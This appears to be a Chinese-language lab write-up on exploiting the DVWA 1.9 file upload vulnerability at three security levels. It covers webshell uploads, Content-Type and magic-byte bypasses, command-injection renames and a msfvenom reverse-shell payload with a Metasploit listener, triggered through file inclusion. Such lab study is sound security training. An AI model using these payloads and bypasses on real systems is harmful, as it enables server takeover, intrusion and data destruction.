DVWA1.9之文件上传漏洞High级多种方法

前言

文件上传漏洞,通常是由于对上传文件的类型、内容没有进行严格的过滤、检查,使得攻击者可以通过上传木马获取服务器的webshell权限,因此文件上传漏洞带来的危害常常是毁灭性的,Apache、Tomcat、Nginx等都曝出过文件上传漏洞

文件上传漏洞的利用是有限制条件的,首先当然是要能够成功上传木马文件,其次上传文件必须能够被执行,最后就是上传文件的路径必须可知

本人测试的靶场是通过centos7系统用docker-compose来搭建的一个全能靶场,靶场环境不一样,用的工具也不一定能连上,希望大家请理解一下,谢谢

DVWA1.9之文件上传漏洞High级多种方法_第1张图片

LOW级别漏洞利用

1、 编辑一句话木马q.php

DVWA1.9之文件上传漏洞High级多种方法_第2张图片
2、 上传

DVWA1.9之文件上传漏洞High级多种方法_第3张图片
3、 用菜刀连接

指定连接目录为http://192.168.5.199/hackable/uploads/q.php,参数为cmd,类型为PHP(eval)

DVWA1.9之文件上传漏洞High级多种方法_第4张图片
4、 双击新添加的条目

在这里插入图片描述
5、 获取目标站点目录访问权限

DVWA1.9之文件上传漏洞High级多种方法_第5张图片

Medium级别

Medium级别的代码对上传文件的类型、大小做了限制,要求文件类型(Content-Type)必须是jpeg或者png,大小不能超过100000B(约为97.6KB)

首先抓包修改文件类型

一句话木马不受大小限制影响

1、 将上面Low等级的q.php更名为w.png(这里说一下可以改jpeg或者png)
2、 上传w.png,并开启抓包

DVWA1.9之文件上传漏洞High级多种方法_第6张图片
DVWA1.9之文件上传漏洞High级多种方法_第7张图片
3、 修改上传文件后缀名(把w.png改为w.php)然后点击放包按钮(Forward)上传

DVWA1.9之文件上传漏洞High级多种方法_第8张图片
4、 上传成功

DVWA1.9之文件上传漏洞High级多种方法_第9张图片
5、 用菜刀连接

指定连接目录http://192.168.5.199/hackable/uploads/w.php,参数为cmd,类型为PHP(eval)

DVWA1.9之文件上传漏洞High级多种方法_第10张图片

High级别

High级别的代码读取文件名中最后一个.后的字符串(文件后缀名),期望通过文件名来限制文件类型,因此要求上传文件名形式必须是*.jpg、.jpeg 、.png之一。同时,getimagesize函数更是限制了上传文件的文件头必须为图像类型

什么是文件头?
文件头是位于文件开头的一段承担一定任务的数据,一般都在开头的部分

文件头就是为了描述一个文件的一些重要的属性,文件头告诉了打开并处理该文件的程序这些属性

常见文件的文件头(16进制):

JPEG (jpg),文件头:FFD8FF

PNG (png),文件头:89504E47

GIF (gif),文件头:47494638

HTML (html),文件头:68746D6C3E

MS Word/Excel (xls.or.doc),文件头:D0CF11E0

Quicken (qdf),文件头:AC9EBD8F

ZIP Archive (zip),文件头:504B0304

RAR Archive (rar),文件头:52617221

可执行文件(EXE),文件头:MZ

这里有几种方法,我一一举例说明

(一):将木马隐藏在图片中绕过(High文件上传+Low命令注入)

1、 首先把medium使用的图片木马w.png更改为c.php
并使用copy命令将木马文件c.php与图片文件e.png合并为t.png

DVWA1.9之文件上传漏洞High级多种方法_第11张图片
DVWA1.9之文件上传漏洞High级多种方法_第12张图片
DVWA1.9之文件上传漏洞High级多种方法_第13张图片

Copy e.png/b+c.php/a t.png

可以看到,一句话木马被添加到图片的尾部

DVWA1.9之文件上传漏洞High级多种方法_第14张图片
2、 上传成功

DVWA1.9之文件上传漏洞High级多种方法_第15张图片
3、选择命令注入(Command Injection)

DVWA1.9之文件上传漏洞High级多种方法_第16张图片
4、用命令注入方式来查看该目录

127.0.0.1|ls …/…/hackable/uploads

DVWA1.9之文件上传漏洞High级多种方法_第17张图片
DVWA1.9之文件上传漏洞High级多种方法_第18张图片
6、 然后通过命令注入方式输入以下命令来进行更改文件后缀

127.0.0.1|mv …/…/hackable/uploads/t.png …/…/hackable/uploads/t.php

DVWA1.9之文件上传漏洞High级多种方法_第19张图片
7、 然后就直接上菜刀

(由于路由器关了一次,这里的IP地址更改了,这里不用担心,操作跟前面Low等级的一样)

指定连接目录http://192.168.5.129/hackable/uploads/t.php,参数为cmd,类型为PHP(eval)
DVWA1.9之文件上传漏洞High级多种方法_第20张图片

(二):用msfvenom生成的以php代码的图片木马中加入GIF89a;图片欺诈头部绕过(High文件上传+Low文件包含)

注:(在Kali上进行测试,虚拟机要使用桥接模式)

1、 首先用msfvenom生成一个PHP语言的PNG图片木马

在这里插入图片描述

msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.5.214 lport=3333 >> any.png

2、 上传图片木马

DVWA1.9之文件上传漏洞High级多种方法_第21张图片
3、 上传失败

DVWA1.9之文件上传漏洞High级多种方法_第22张图片

出错的英文提示是:您的图像未上载,我们只能接受JPEG或PNG图像。

4、 然后我们用VIM编辑器(这里没限定编辑器)在sam.png图片木马头部加一个代码GIF89a;

DVWA1.9之文件上传漏洞High级多种方法_第23张图片
5、 再次成功上传图片马

DVWA1.9之文件上传漏洞High级多种方法_第24张图片
6、 在终端输入msfconsole进入控制台

DVWA1.9之文件上传漏洞High级多种方法_第25张图片
7、 然后输入以下命令

DVWA1.9之文件上传漏洞High级多种方法_第26张图片

use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lport 3333
set lhost 192.168.5.214
exploit

8、 然后选择Low等级的文件包含

DVWA1.9之文件上传漏洞High级多种方法_第27张图片
DVWA1.9之文件上传漏洞High级多种方法_第28张图片

10、在地址栏输入以下的地址并回车

192.168.5.129/vulnerabilities/fi/?page=…/…/hackable/uploads/any.png

DVWA1.9之文件上传漏洞High级多种方法_第29张图片
11、msfconsole控制台就有生成一条会话

DVWA1.9之文件上传漏洞High级多种方法_第30张图片
12、然后我们通过命令查看一下/hackable/uploads这个目录下有什么文件

DVWA1.9之文件上传漏洞High级多种方法_第31张图片
13、然后我测试一下,随便删除一个文件试试,看看有没有权限,测试成功了

DVWA1.9之文件上传漏洞High级多种方法_第32张图片

(三):将木马隐藏在图片中绕过(High文件上传+Low等级文件包含)

1、 先用一个txt文本,输入GIF89a;图片欺诈头部和一句话PHP木马,然后更改后缀名为00.jpg

DVWA1.9之文件上传漏洞High级多种方法_第33张图片
2、 上传文件00.jpg

DVWA1.9之文件上传漏洞High级多种方法_第34张图片
DVWA1.9之文件上传漏洞High级多种方法_第35张图片
3、 更改安全级别为Low

DVWA1.9之文件上传漏洞High级多种方法_第36张图片
4、 选择文件包含,并在地址栏输入,但先别按回车!!!

http://192.168.5.129/vulnerabilities/fi/?page=…/…/hackable/uploads/00.jpg

DVWA1.9之文件上传漏洞High级多种方法_第37张图片
5、 打开burpsuite进行抓包,这里要注意一下,点击开启抓包按钮先不要急着关闭!!!

DVWA1.9之文件上传漏洞High级多种方法_第38张图片
把Cookie这一行复制下来

6、 打开菜刀

指定连接目录http://192.168.5.129/vulnerabilities/fi/?page=…/…/hackable/uploads/00.jpg参数为cmd,类型为PHP(eval),字符编码为GB2312

DVWA1.9之文件上传漏洞High级多种方法_第39张图片
7、 在菜刀的其他空白地方按鼠标右键,点击设置

DVWA1.9之文件上传漏洞High级多种方法_第40张图片
8、 设置请求头,把刚刚在burpsuite抓包出现的Cookie值复制进去,按照图中的数字顺序进行操作

DVWA1.9之文件上传漏洞High级多种方法_第41张图片
9、 双击新添加的条目

DVWA1.9之文件上传漏洞High级多种方法_第42张图片
10、获取目标站点目录访问权限

DVWA1.9之文件上传漏洞High级多种方法_第43张图片
11、发现刚上传的00.jpg文件在里面,然后测试一下是否有权限删除文件,我随便删除一个文件进行测试,成功了

DVWA1.9之文件上传漏洞High级多种方法_第44张图片
DVWA1.9之文件上传漏洞High级多种方法_第45张图片

你可能感兴趣的:(文件上传,Web,信息安全)